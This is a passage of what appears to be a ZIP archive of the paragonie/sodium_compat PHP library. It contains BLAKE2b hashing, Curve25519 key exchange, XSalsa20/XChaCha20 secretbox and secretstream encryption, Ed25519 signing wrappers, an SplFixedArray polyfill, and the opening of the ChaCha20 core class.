*/ public static function generichash_final($ctx, $outlen = 32) { if (!is_string($ctx)) { throw new TypeError('Context must be a string'); } $out = new SplFixedArray($outlen); /** @var SplFixedArray $context */ $context = ParagonIE_Sodium_Core_BLAKE2b::stringToContext($ctx); /** @var SplFixedArray $out */ $out = ParagonIE_Sodium_Core_BLAKE2b::finish($context, $out); /** @var array<int, int> */ $outArray = $out->toArray(); return ParagonIE_Sodium_Core_Util::intArrayToString($outArray); } /** * Initialize a hashing context for BLAKE2b. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $key * @param int $outputLength * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash_init($key = '', $outputLength = 32) { // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outputLength); return ParagonIE_Sodium_Core_BLAKE2b::contextToString($ctx); } /** * Initialize a hashing context for BLAKE2b. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $key * @param int $outputLength * @param string $salt * @param string $personal * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash_init_salt_personal( $key = '', $outputLength = 32, $salt = '', $personal = '' ) { // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } if (!empty($salt)) { $s = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($salt); } else { $s = null; } if (!empty($salt)) { $p = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($personal); } else { $p = null; } /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outputLength, $s, $p); return ParagonIE_Sodium_Core_BLAKE2b::contextToString($ctx); } /** * Update a hashing context for BLAKE2b with $message * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ctx * @param string $message * @return string * @throws SodiumException * @throws TypeError */ public static function generichash_update($ctx, $message) { // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor(); /** @var SplFixedArray $context */ $context = ParagonIE_Sodium_Core_BLAKE2b::stringToContext($ctx); /** @var SplFixedArray $in */ $in = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($message); ParagonIE_Sodium_Core_BLAKE2b::update($context, $in, $in->count()); return ParagonIE_Sodium_Core_BLAKE2b::contextToString($context); } /** * Libsodium's crypto_kx(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $my_sk * @param string $their_pk * @param string $client_pk * @param string $server_pk * @return string * @throws SodiumException * @throws TypeError */ public static function keyExchange($my_sk, $their_pk, $client_pk, $server_pk) { return ParagonIE_Sodium_Compat::crypto_generichash( ParagonIE_Sodium_Compat::crypto_scalarmult($my_sk, $their_pk) . $client_pk . $server_pk ); } /** * ECDH over Curve25519 * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @param string $pKey * @return string * * @throws SodiumException * @throws TypeError */ public static function scalarmult($sKey, $pKey) { $q = ParagonIE_Sodium_Core_X25519::crypto_scalarmult_curve25519_ref10($sKey, $pKey); self::scalarmult_throw_if_zero($q); return $q; } /** * ECDH over Curve25519, using the basepoint. * Used to get a secret key from a public key. * * @param string $secret * @return string * * @throws SodiumException * @throws TypeError */ public static function scalarmult_base($secret) { $q = ParagonIE_Sodium_Core_X25519::crypto_scalarmult_curve25519_ref10_base($secret); self::scalarmult_throw_if_zero($q); return $q; } /** * This throws an Error if a zero public key was passed to the function. * * @param string $q * @return void * @throws SodiumException * @throws TypeError */ protected static function scalarmult_throw_if_zero($q) { $d = 0; for ($i = 0; $i < self::box_curve25519xsalsa20poly1305_SECRETKEYBYTES; ++$i) { $d |= ParagonIE_Sodium_Core_Util::chrToInt($q[$i]); } /* branch-free variant of === 0 */ if (-(1 & (($d - 1) >> 8))) { throw new SodiumException('Zero public key is not allowed'); } } /** * XSalsa20-Poly1305 authenticated symmetric-key encryption. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox($plaintext, $nonce, $key) { /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen = ParagonIE_Sodium_Core_Util::strlen($plaintext); $mlen0 = $mlen; if ($mlen0 > 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES) { $mlen0 = 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor( $block0, ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), $subkey ); /** @var string $c */ $c = ParagonIE_Sodium_Core_Util::substr( $block0, self::secretbox_xsalsa20poly1305_ZEROBYTES ); if ($mlen > $mlen0) { $c .= ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic( ParagonIE_Sodium_Core_Util::substr( $plaintext, self::secretbox_xsalsa20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), 1, $subkey ); } $state = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_Util::substr( $block0, 0, self::onetimeauth_poly1305_KEYBYTES ) ); try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $state->update($c); /** @var string $c - MAC || ciphertext */ $c = $state->finish() . $c; unset($state); return $c; } /** * Decrypt a ciphertext generated via secretbox(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_open($ciphertext, $nonce, $key) { /** @var string $mac */ $mac = ParagonIE_Sodium_Core_Util::substr( $ciphertext, 0, self::secretbox_xsalsa20poly1305_MACBYTES ); /** @var string $c */ $c = ParagonIE_Sodium_Core_Util::substr( $ciphertext, self::secretbox_xsalsa20poly1305_MACBYTES ); /** @var int $clen */ $clen = ParagonIE_Sodium_Core_Util::strlen($c); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20( 64, ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), $subkey ); $verified = ParagonIE_Sodium_Core_Poly1305::onetimeauth_verify( $mac, $c, ParagonIE_Sodium_Core_Util::substr($block0, 0, 32) ); if (!$verified) { try { ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $subkey = null; } throw new SodiumException('Invalid MAC'); } /** @var string $m - Decrypted message */ $m = ParagonIE_Sodium_Core_Util::xorStrings( ParagonIE_Sodium_Core_Util::substr($block0, self::secretbox_xsalsa20poly1305_ZEROBYTES), ParagonIE_Sodium_Core_Util::substr($c, 0, self::secretbox_xsalsa20poly1305_ZEROBYTES) ); if ($clen > self::secretbox_xsalsa20poly1305_ZEROBYTES) { // We had more than 1 block, so let's continue to decrypt the rest. $m .= ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic( ParagonIE_Sodium_Core_Util::substr( $c, self::secretbox_xsalsa20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), 1, (string) $subkey ); } return $m; } /** * XChaCha20-Poly1305 authenticated symmetric-key encryption. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_xchacha20poly1305($plaintext, $nonce, $key) { /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20( ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16), $key ); $nonceLast = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen = ParagonIE_Sodium_Core_Util::strlen($plaintext); $mlen0 = $mlen; if ($mlen0 > 64 - self::secretbox_xchacha20poly1305_ZEROBYTES) { $mlen0 = 64 - self::secretbox_xchacha20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_ChaCha20::streamXorIc( $block0, $nonceLast, $subkey ); /** @var string $c */ $c = ParagonIE_Sodium_Core_Util::substr( $block0, self::secretbox_xchacha20poly1305_ZEROBYTES ); if ($mlen > $mlen0) { $c .= ParagonIE_Sodium_Core_ChaCha20::streamXorIc( ParagonIE_Sodium_Core_Util::substr( $plaintext, self::secretbox_xchacha20poly1305_ZEROBYTES ), $nonceLast, $subkey, ParagonIE_Sodium_Core_Util::store64_le(1) ); } $state = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_Util::substr( $block0, 0, self::onetimeauth_poly1305_KEYBYTES ) ); try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $state->update($c); /** @var string $c - MAC || ciphertext */ $c = $state->finish() . $c; unset($state); return $c; } /** * Decrypt a ciphertext generated via secretbox_xchacha20poly1305(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key) { /** @var string $mac */ $mac = ParagonIE_Sodium_Core_Util::substr( $ciphertext, 0, self::secretbox_xchacha20poly1305_MACBYTES ); /** @var string $c */ $c = ParagonIE_Sodium_Core_Util::substr( $ciphertext, self::secretbox_xchacha20poly1305_MACBYTES ); /** @var int $clen */ $clen = ParagonIE_Sodium_Core_Util::strlen($c); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HChaCha20::hchacha20($nonce, $key); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_ChaCha20::stream( 64, ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), $subkey ); $verified = ParagonIE_Sodium_Core_Poly1305::onetimeauth_verify( $mac, $c, ParagonIE_Sodium_Core_Util::substr($block0, 0, 32) ); if (!$verified) { try { ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $subkey = null; } throw new SodiumException('Invalid MAC'); } /** @var string $m - Decrypted message */ $m = ParagonIE_Sodium_Core_Util::xorStrings( ParagonIE_Sodium_Core_Util::substr($block0, self::secretbox_xchacha20poly1305_ZEROBYTES), ParagonIE_Sodium_Core_Util::substr($c, 0, self::secretbox_xchacha20poly1305_ZEROBYTES) ); if ($clen > self::secretbox_xchacha20poly1305_ZEROBYTES) { // We had more than 1 block, so let's continue to decrypt the rest. $m .= ParagonIE_Sodium_Core_ChaCha20::streamXorIc( ParagonIE_Sodium_Core_Util::substr( $c, self::secretbox_xchacha20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), (string) $subkey, ParagonIE_Sodium_Core_Util::store64_le(1) ); } return $m; } /** * @param string $key * @return array<int, string> Returns a state and a header. * @throws Exception * @throws SodiumException */ public static function secretstream_xchacha20poly1305_init_push($key) { # randombytes_buf(out, crypto_secretstream_xchacha20poly1305_HEADERBYTES); $out = random_bytes(24); # crypto_core_hchacha20(state->k, out, k, NULL); $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20($out, $key); $state = new ParagonIE_Sodium_Core_SecretStream_State( $subkey, ParagonIE_Sodium_Core_Util::substr($out, 16, 8) . str_repeat("\0", 4) ); # _crypto_secretstream_xchacha20poly1305_counter_reset(state); $state->counterReset(); # memcpy(STATE_INONCE(state), out + crypto_core_hchacha20_INPUTBYTES, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); # memset(state->_pad, 0, sizeof state->_pad); return array( $state->toString(), $out ); } /** * @param string $key * @param string $header * @return string Returns a state. * @throws Exception */ public static function secretstream_xchacha20poly1305_init_pull($key, $header) { # crypto_core_hchacha20(state->k, in, k, NULL); $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20( ParagonIE_Sodium_Core_Util::substr($header, 0, 16), $key ); $state = new ParagonIE_Sodium_Core_SecretStream_State( $subkey, ParagonIE_Sodium_Core_Util::substr($header, 16) ); $state->counterReset(); # memcpy(STATE_INONCE(state), in + crypto_core_hchacha20_INPUTBYTES, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); # memset(state->_pad, 0, sizeof state->_pad); # return 0; return $state->toString(); } /** * @param string $state * @param string $msg * @param string $aad * @param int $tag * @return string * @throws SodiumException */ public static function secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0) { $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state); # crypto_onetimeauth_poly1305_state poly1305_state; # unsigned char block[64U]; # unsigned char slen[8U]; # unsigned char *c; # unsigned char *mac; $msglen = ParagonIE_Sodium_Core_Util::strlen($msg); $aadlen = ParagonIE_Sodium_Core_Util::strlen($aad); if ((($msglen + 63) >> 6) > 0xfffffffe) { throw new SodiumException( 'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes' ); } # if (outlen_p != NULL) { # *outlen_p = 0U; # } # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) { # sodium_misuse(); # } # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k); # crypto_onetimeauth_poly1305_init(&poly1305_state, block); # sodium_memzero(block, sizeof block); $auth = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey()) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen); $auth->update($aad); # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0, # (0x10 - adlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf))); # memset(block, 0, sizeof block); # block[0] = tag; # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block, # state->nonce, 1U, state->k); $block = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( ParagonIE_Sodium_Core_Util::intToChr($tag) . str_repeat("\0", 63), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(1) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block); $auth->update($block); # out[0] = block[0]; $out = $block[0]; # c = out + (sizeof tag); # crypto_stream_chacha20_ietf_xor_ic(c, m, mlen, state->nonce, 2U, state->k); $cipher = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $msg, $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(2) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen); $auth->update($cipher); $out .= $cipher; unset($cipher); # crypto_onetimeauth_poly1305_update # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf))); # STORE64_LE(slen, (uint64_t) adlen); $slen = ParagonIE_Sodium_Core_Util::store64_le($aadlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $auth->update($slen); # STORE64_LE(slen, (sizeof block) + mlen); $slen = ParagonIE_Sodium_Core_Util::store64_le(64 + $msglen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $auth->update($slen); # mac = c + mlen; # crypto_onetimeauth_poly1305_final(&poly1305_state, mac); $mac = $auth->finish(); $out .= $mac; # sodium_memzero(&poly1305_state, sizeof poly1305_state); unset($auth); # XOR_BUF(STATE_INONCE(state), mac, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); $st->xorNonce($mac); # sodium_increment(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES); $st->incrementCounter(); // Overwrite by reference: $state = $st->toString(); /** @var bool $rekey */ $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0; # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 || # sodium_is_zero(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) { # crypto_secretstream_xchacha20poly1305_rekey(state); # } if ($rekey || $st->needsRekey()) { // DO REKEY self::secretstream_xchacha20poly1305_rekey($state); } # if (outlen_p != NULL) { # *outlen_p = crypto_secretstream_xchacha20poly1305_ABYTES + mlen; # } return $out; } /** * @param string $state * @param string $cipher * @param string $aad * @return bool|array{0: string, 1: int} * @throws SodiumException */ public static function secretstream_xchacha20poly1305_pull(&$state, $cipher, $aad = '') { $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state); $cipherlen = ParagonIE_Sodium_Core_Util::strlen($cipher); # mlen = inlen - crypto_secretstream_xchacha20poly1305_ABYTES; $msglen = $cipherlen - ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES; $aadlen = ParagonIE_Sodium_Core_Util::strlen($aad); # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) { # sodium_misuse(); # } if ((($msglen + 63) >> 6) > 0xfffffffe) { throw new SodiumException( 'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes' ); } # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k); # crypto_onetimeauth_poly1305_init(&poly1305_state, block); # sodium_memzero(block, sizeof block); $auth = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey()) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen); $auth->update($aad); # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0, # (0x10 - adlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf))); # memset(block, 0, sizeof block); # block[0] = in[0]; # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block, # state->nonce, 1U, state->k); $block = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $cipher[0] . str_repeat("\0", 63), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(1) ); # tag = block[0]; # block[0] = in[0]; # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block); $tag = ParagonIE_Sodium_Core_Util::chrToInt($block[0]); $block[0] = $cipher[0]; $auth->update($block); # c = in + (sizeof tag); # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen); $auth->update(ParagonIE_Sodium_Core_Util::substr($cipher, 1, $msglen)); # crypto_onetimeauth_poly1305_update # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf))); # STORE64_LE(slen, (uint64_t) adlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $slen = ParagonIE_Sodium_Core_Util::store64_le($aadlen); $auth->update($slen); # STORE64_LE(slen, (sizeof block) + mlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $slen = ParagonIE_Sodium_Core_Util::store64_le(64 + $msglen); $auth->update($slen); # crypto_onetimeauth_poly1305_final(&poly1305_state, mac); # sodium_memzero(&poly1305_state, sizeof poly1305_state); $mac = $auth->finish(); # stored_mac = c + mlen; # if (sodium_memcmp(mac, stored_mac, sizeof mac) != 0) { # sodium_memzero(mac, sizeof mac); # return -1; # } $stored = ParagonIE_Sodium_Core_Util::substr($cipher, $msglen + 1, 16); if (!ParagonIE_Sodium_Core_Util::hashEquals($mac, $stored)) { return false; } # crypto_stream_chacha20_ietf_xor_ic(m, c, mlen, state->nonce, 2U, state->k); $out = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( ParagonIE_Sodium_Core_Util::substr($cipher, 1, $msglen), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(2) ); # XOR_BUF(STATE_INONCE(state), mac, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); $st->xorNonce($mac); # sodium_increment(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES); $st->incrementCounter(); # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 || # sodium_is_zero(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) { # crypto_secretstream_xchacha20poly1305_rekey(state); # } // Overwrite by reference: $state = $st->toString(); /** @var bool $rekey */ $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0; if ($rekey || $st->needsRekey()) { // DO REKEY self::secretstream_xchacha20poly1305_rekey($state); } return array($out, $tag); } /** * @param string $state * @return void * @throws SodiumException */ public static function secretstream_xchacha20poly1305_rekey(&$state) { $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state); # unsigned char new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + # crypto_secretstream_xchacha20poly1305_INONCEBYTES]; # size_t i; # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) { # new_key_and_inonce[i] = state->k[i]; # } $new_key_and_inonce = $st->getKey(); # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) { # new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i] = # STATE_INONCE(state)[i]; # } $new_key_and_inonce .= ParagonIE_Sodium_Core_Util::substR($st->getNonce(), 0, 8); # crypto_stream_chacha20_ietf_xor(new_key_and_inonce, new_key_and_inonce, # sizeof new_key_and_inonce, # state->nonce, state->k); $st->rekey(ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $new_key_and_inonce, $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(0) )); # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) { # state->k[i] = new_key_and_inonce[i]; # } # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) { # STATE_INONCE(state)[i] = # new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i]; # } # _crypto_secretstream_xchacha20poly1305_counter_reset(state); $st->counterReset(); $state = $st->toString(); } /** * Detached Ed25519 signature. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_detached($message, $sk) { return ParagonIE_Sodium_Core_Ed25519::sign_detached($message, $sk); } /** * Attached Ed25519 signature. (Returns a signed message.) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign($message, $sk) { return ParagonIE_Sodium_Core_Ed25519::sign($message, $sk); } /** * Opens a signed message. If valid, returns the message. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $signedMessage * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_open($signedMessage, $pk) { return ParagonIE_Sodium_Core_Ed25519::sign_open($signedMessage, $pk); } /** * Verify a detached signature of a given message and public key. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $signature * @param string $message * @param string $pk * @return bool * @throws SodiumException * @throws TypeError */ public static function sign_verify_detached($signature, $message, $pk) { return ParagonIE_Sodium_Core_Ed25519::verify_detached($signature, $message, $pk); } } PKÜ�\l����6vendor/paragonie/sodium_compat/src/SodiumException.phpnu�[���<?php if (!class_exists('SodiumException', false)) { /** * Class SodiumException */ class SodiumException extends Exception { } } PKÜ�\k=�:vendor/paragonie/sodium_compat/src/PHP52/SplFixedArray.phpnu�[���<?php if (class_exists('SplFixedArray')) { return; } /** * The SplFixedArray class provides the main functionalities of array. The * main differences between a SplFixedArray and a normal PHP array is that * the SplFixedArray is of fixed length and allows only integers within * the range as indexes. The advantage is that it allows a faster array * implementation. */ class SplFixedArray implements Iterator, ArrayAccess, Countable { /** @var array<int, mixed> */ private $internalArray = array(); /** @var int $size */ private $size = 0; /** * SplFixedArray constructor. * @param int $size */ public function __construct($size = 0) { $this->size = $size; $this->internalArray = array(); } /** * @return int */ public function count() { return count($this->internalArray); } /** * @return array */ public function toArray() { ksort($this->internalArray); return (array) $this->internalArray; } /** * @param array $array * @param bool $save_indexes * @return SplFixedArray * @psalm-suppress MixedAssignment */ public static function fromArray(array $array, $save_indexes = true) { $self = new SplFixedArray(count($array)); if($save_indexes) { foreach($array as $key => $value) { $self[(int) $key] = $value; } } else { $i = 0; foreach (array_values($array) as $value) { $self[$i] = $value; $i++; } } return $self; } /** * @return int */ public function getSize() { return $this->size; } /** * @param int $size * @return bool */ public function setSize($size) { $this->size = $size; return true; } /** * @param string|int $index * @return bool */ public function offsetExists($index) { return array_key_exists((int) $index, $this->internalArray); } /** * @param string|int $index * @return mixed */ public function offsetGet($index) { /** @psalm-suppress MixedReturnStatement */ return $this->internalArray[(int) $index]; } /** * @param string|int $index * @param mixed $newval * @psalm-suppress MixedAssignment */ public function offsetSet($index, $newval) { $this->internalArray[(int) $index] = $newval; } /** * @param string|int $index */ public function offsetUnset($index) { unset($this->internalArray[(int) $index]); } /** * Rewind iterator back to the start * @link https://php.net/manual/en/splfixedarray.rewind.php * @return void * @since 5.3.0 */ public function rewind() { reset($this->internalArray); } /** * Return current array entry * @link https://php.net/manual/en/splfixedarray.current.php * @return mixed The current element value. * @since 5.3.0 */ public function current() { /** @psalm-suppress MixedReturnStatement */ return current($this->internalArray); } /** * Return current array index * @return int The current array index. */ public function key() { return key($this->internalArray); } /** * @return void */ public function next() { next($this->internalArray); } /** * Check whether the array contains more elements * @link https://php.net/manual/en/splfixedarray.valid.php * @return bool true if the array contains any more elements, false otherwise. */ public function valid() { if (empty($this->internalArray)) { return false; } $result = next($this->internalArray) !== false; prev($this->internalArray); return $result; } /** * Do nothing. */ public function __wakeup() { // NOP } }PKÜ�\I��2�24vendor/paragonie/sodium_compat/src/Core/ChaCha20.phpnu�[���<?php if (class_exists('ParagonIE_Sodium_Core_ChaCha20', false)) { return; } /** * Class ParagonIE_Sodium_Core_ChaCha20 */ class ParagonIE_Sodium_Core_ChaCha20 extends ParagonIE_Sodium_Core_Util { /** * Bitwise left rotation * * @internal You should not use this directly from another application * * @param int $v * @param int $n * @return int */ public static function rotate($v, $n) { $v &= 0xffffffff; $n &= 31; return (int) ( 0xffffffff & ( ($v << $n) | ($v >> (32 - $n)) ) ); } /** * The ChaCha20 quarter round function. Works on four 32-bit integers. * * @internal You should not use this directly from another application * * @param int $a * @param int $b * @param int $c * @param int $d * @return array<int, int> */ protected static function quarterRound($a, $b, $c, $d) { # a = PLUS(a,b); d = ROTATE(XOR(d,a),16); /** @var int $a */ $a = ($a + $b) & 0xffffffff; $d = self::rotate($d ^ $a, 16); # c = PLUS(c,d); b = ROTATE(XOR(b,c),12); /** @var int $c */ $c = ($c + $d) & 0xffffffff; $b = self::rotate($b ^ $c, 12); # a = PLUS(a,b); d = ROTATE(XOR(d,a), 8); /** @var int $a */ $a = ($a + $b) & 0xffffffff; $d = self::rotate($d ^ $a, 8); # c = PLUS(c,d); b = ROTATE(XOR(b,c), 7); /** @var int $c */ $c = ($c + $d) & 0xffffffff; $b = self::rotate($b ^ $c, 7); return array((int) $a, (int) $b, (int) $c, (int) $d); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx * @param string $message * * @return string * @throws TypeError * @throws SodiumException */ public static function encryptBytes( ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx, $message = '' ) { $bytes = self::strlen($message); /* j0 = ctx->input[0]; j1 = ctx->input[1]; j2 = ctx->input[2]; j3 = ctx->input[3]; j4 = ctx->input[4]; j5 = ctx->input[5]; j6 = ctx->input[6]; j7 = ctx->input[7]; j8 = ctx->input[8]; j9 = ctx->input[9]; j10 = ctx->input[10]; j11 = ctx->input[11]; j12 = ctx->input[12]; j13 = ctx->input[13]; j14 = ctx->input[14]; j15 = ctx->input[15]; */ $j0 = (int) $ctx[0]; $j1 = (int) $ctx[1]; $j2 = (int) $ctx[2]; $j3 = (int) $ctx[3]; $j4 = (int) $ctx[4]; $j5 = (int) $ctx[5]; $j6 = (int) $ctx[6]; $j7 = (int) $ctx[7]; $j8 = (int) $ctx[8]; $j9 = (int) $ctx[9]; $j10 = (int) $ctx[10]; $j11 = (int) $ctx[11]; $j12 = (int) $ctx[12]; $j13 = (int) $ctx[13]; $j14 = (int) $ctx[14]; $j15 = (int) $ctx[15]; $c = ''; for (;;) { if ($bytes < 64) { $message .= str_repeat("\x00", 64 - $bytes); } $x0 = (int) $j0; $x1 = (int) $j1; $x2 = 